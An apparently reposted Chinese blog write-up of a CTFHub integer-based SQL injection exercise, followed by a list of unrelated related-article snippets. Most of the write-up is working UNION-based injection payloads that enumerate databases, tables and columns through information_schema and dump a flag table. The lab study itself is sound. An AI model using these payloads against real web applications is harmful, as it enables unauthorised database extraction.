2025.1.15——假期回归训练,从sql注入开始|一、SQL整数型注入

devtools/2025/1/19 6:17:25/

第一阶段(2025.1.15-2025.1.27)

题目来源:CTFHub技能树。

“磨刀不误砍柴工”

所有题目的相同步骤:①整理已知信息;②联系相关信息;③用所学知识判断题型;④解题

目录

第一阶段(2025.1.15-2025.1.27)

题目一:SQL整数型注入

step 1:整理已知信息

step 2:查询列数,以便可以使用union select(前提:前后列数必须一致)注入

step 3:进行联合注入,并查询回显点,并爆数据库名

step 4:爆表名

step 5:爆列名——形如爆表名


题目一:SQL整数型注入

step 1:整理已知信息

        已知本题为SQL整数型注入,故不需要进行提醒判断。

        题目特点:不需要用引号进行闭合,可用联合注入查询、order by语句查询列数、需要爆数据库名、表名、列名、具体数据

step 2:查询列数,以便可以使用union select(前提:前后列数必须一致)注入

sql">1 order by 3 #

sql">1 order by 2 #

        可得共2个字段

step 3:进行联合注入,并查询回显点,并爆数据库名

sql">1 and 1=2 union select database(),database() #

        可得两个数据库名均为sqli

注:and 1=2 的作用是为了使前面的 select * from news where id=1这个查询条件不成立,直接使得后面的union操作能够正常执行

step 4:爆表名

错误示范:1 and 1=2 union select table_name from information_schema.tables where table_schema=sqli #

错误原因:sqli是字符串,需要加单引号

↓正确payload①——缺陷在于只会回显处第一个表的表名,若要爆出所有表名,需要用到limit m,n(m表示偏移量,从0开始;n表示要返回的行数)

sql">1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' #

爆第一个表名,用limit 0,1

sql">1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 0,1 #

爆第二个表名,用limit 1,1

sql">1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 1,1 #

payload②——用group_concat()一次爆出所有名称

sql">1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

step 5:爆列名——形如爆表名

payload①——此处只有一个列名

sql">1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'#

payload②——group_concat()

sql">1 and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag'#

step 6:爆具体数据

payload如下

sql">1 and 1=2 union select 1,flag from sqli.flag

注:这里1,flag的作用是前后两个select语句的字段保持一致,所以1,不能去掉


http://www.ppmy.cn/devtools/151754.html

相关文章

电机驱动-标准库和HAL库

一、标准库 Motor.c-标准库 #include "stm32f10x.h" // Device header #include "PWM.h"/*** 函 数:直流电机初始化* 参 数:无* 返 回 值:无*/ void Motor_Init(void) {RCC_APB2PeriphClockCmd…

python学opencv|读取图像(三十四)阈值处理-彩色图像

【1】引言 前序已经掌握了使用阈值处理函数控制灰度图的RGB值,相关链接为: python学opencv|读取图像(三十三)阈值处理图像-限定像素-CSDN博客 在更早的学习中,灰度图的RGB只有一个通道,也就是各个像素点…

Unity3D 移动端CPU端性能调优详解

前言 在Unity3D开发中,特别是在移动端,性能优化至关重要。CPU主要负责逻辑运算、物理计算和碰撞检测等核心任务。优化CPU性能不仅能提升游戏的流畅度,还能减少电量消耗和发热问题。本文将详细介绍Unity3D移动端CPU端的性能调优技术&#xff…

CMD批处理命令入门(6)——常用的特殊字符

CMD批处理命令入门(6)——特殊字符 本章内容主要学习要点:重定向符 >、>>命令管道符 |组合命令 &、&&、||转义字符 ^变量引导符 %界定符 "" 本章内容主要学习要点: >、>>重定向符| 命令…

深入剖析Java垃圾回收机制

深入剖析Java垃圾回收机制 在现代软件开发中,内存管理是一个至关重要的话题。Java作为广泛使用的编程语言,以其自动化的内存管理机制,特别是垃圾回收机制,广受欢迎。然而,许多开发者对垃圾回收的工作原理、不同算法的…

阿里云 Serverless 助力盟主直播:高并发下的稳定性和成本优化

在直播场景中,阿里云 Serverless 应用引擎 SAE 提供的无缝弹性伸缩与极速部署能力,确保直播间高并发时的流畅体验,降低了我们的运营成本,简化了运维流程。结合阿里云云原生数据库 PolarDB 的 Serverless 能力,实现了数…

Golang笔记——常用库sync

大家好,这里是Good Note,关注 公主号:Goodnote,专栏文章私信限时Free。本文详细介绍Golang的常用库sync,提供了一系列工具来处理 并发编程 中的同步问题。 文章目录 sync1. sync.Mutex - 互斥锁2. sync.RWMutex - 读写…

MySQL程序之:使用命令选项连接到服务器

本节介绍如何使用命令行选项来指定如何为mysql或mysqldump等客户端建立到MySQL服务器的连接。有关使用类似URI的连接字符串或键值对建立连接的信息,请参阅“使用类似URI的字符串或键值对连接到服务器”。有关无法连接的其他信息,请参阅“解决连接到MySQL…